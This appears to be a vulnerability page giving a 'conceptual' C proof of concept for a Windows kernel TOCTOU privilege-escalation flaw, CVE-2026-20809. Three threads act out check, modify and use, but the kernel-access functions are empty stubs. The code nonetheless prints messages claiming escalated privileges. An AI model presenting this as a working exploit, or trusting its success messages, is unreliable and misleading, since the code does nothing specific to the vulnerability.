CVE-2026-20809 Windows内核TOCTOU竞态条件本地权限提升漏洞

// CVE-2026-20809 TOCTOU Race Condition PoC (Conceptual) // This is a conceptual demonstration of TOCTOU race condition // Actual exploitation requires precise timing and system-specific conditions #include <windows.h> #include <process.h> #include <stdio.h> // Global flags for synchronization volatile BOOL g_checkCompleted = FALSE; volatile BOOL g_useStarted = FALSE; HANDLE hMutex = NULL; // Thread 1: Performs the check unsigned int __stdcall CheckThread(LPVOID lpParam) { // Simulate TOCTOU vulnerability in kernel memory access // In real scenario: check object ACL/permissions WaitForSingleObject(hMutex, INFINITE); // CHECK PHASE: Verify access permissions printf("[CHECK] Verifying access to kernel object...\n"); BOOL hasAccess = CheckAccessPermissions(); // Simulated check g_checkCompleted = TRUE; ReleaseMutex(hMutex); // Time window between check and use - attacker exploits this Sleep(1); // Minimal delay for race condition return 0; } // Thread 2: Modifies object state during race window unsigned int __stdcall ModifyThread(LPVOID lpParam) { while (!g_checkCompleted) { Sleep(0); // Wait for check to complete } // USE PHASE: Modify object before actual use printf("[MODIFY] Modifying kernel object state during TOCTOU window...\n"); ModifyObjectPermissions(); // Exploit race condition g_useStarted = TRUE; return 0; } // Thread 3: Uses object (vulnerable path) unsigned int __stdcall UseThread(LPVOID lpParam) { while (!g_useStarted) { Sleep(0); } // USE PHASE: Access kernel memory with elevated privileges printf("[USE] Accessing kernel memory with escalated privileges...\n"); AccessKernelMemory(); // Exploit successful return 0; } int main() { printf("CVE-2026-20809 TOCTOU Race Condition PoC\n"); printf("Target: Windows Kernel Memory\n\n"); hMutex = CreateMutex(NULL, FALSE, NULL); HANDLE hThreads[3]; // Create threads to trigger race condition hThreads[0] = (HANDLE)_beginthreadex(NULL, 0, CheckThread, NULL, 0, NULL); hThreads[1] = (HANDLE)_beginthreadex(NULL, 0, ModifyThread, NULL, 0, NULL); hThreads[2] = (HANDLE)_beginthreadex(NULL, 0, UseThread, NULL, 0, NULL); WaitForMultipleObjects(3, hThreads, TRUE, INFINITE); CloseHandle(hThreads[0]); CloseHandle(hThreads[1]); CloseHandle(hThreads[2]); CloseHandle(hMutex); printf("\nRace condition triggered - privilege escalation possible\n"); return 0; } // Simulated functions - actual implementation would require kernel-level access BOOL CheckAccessPermissions() { return FALSE; } void ModifyObjectPermissions() { /* Modify kernel object state */ } void AccessKernelMemory() { /* Gain elevated privileges */ }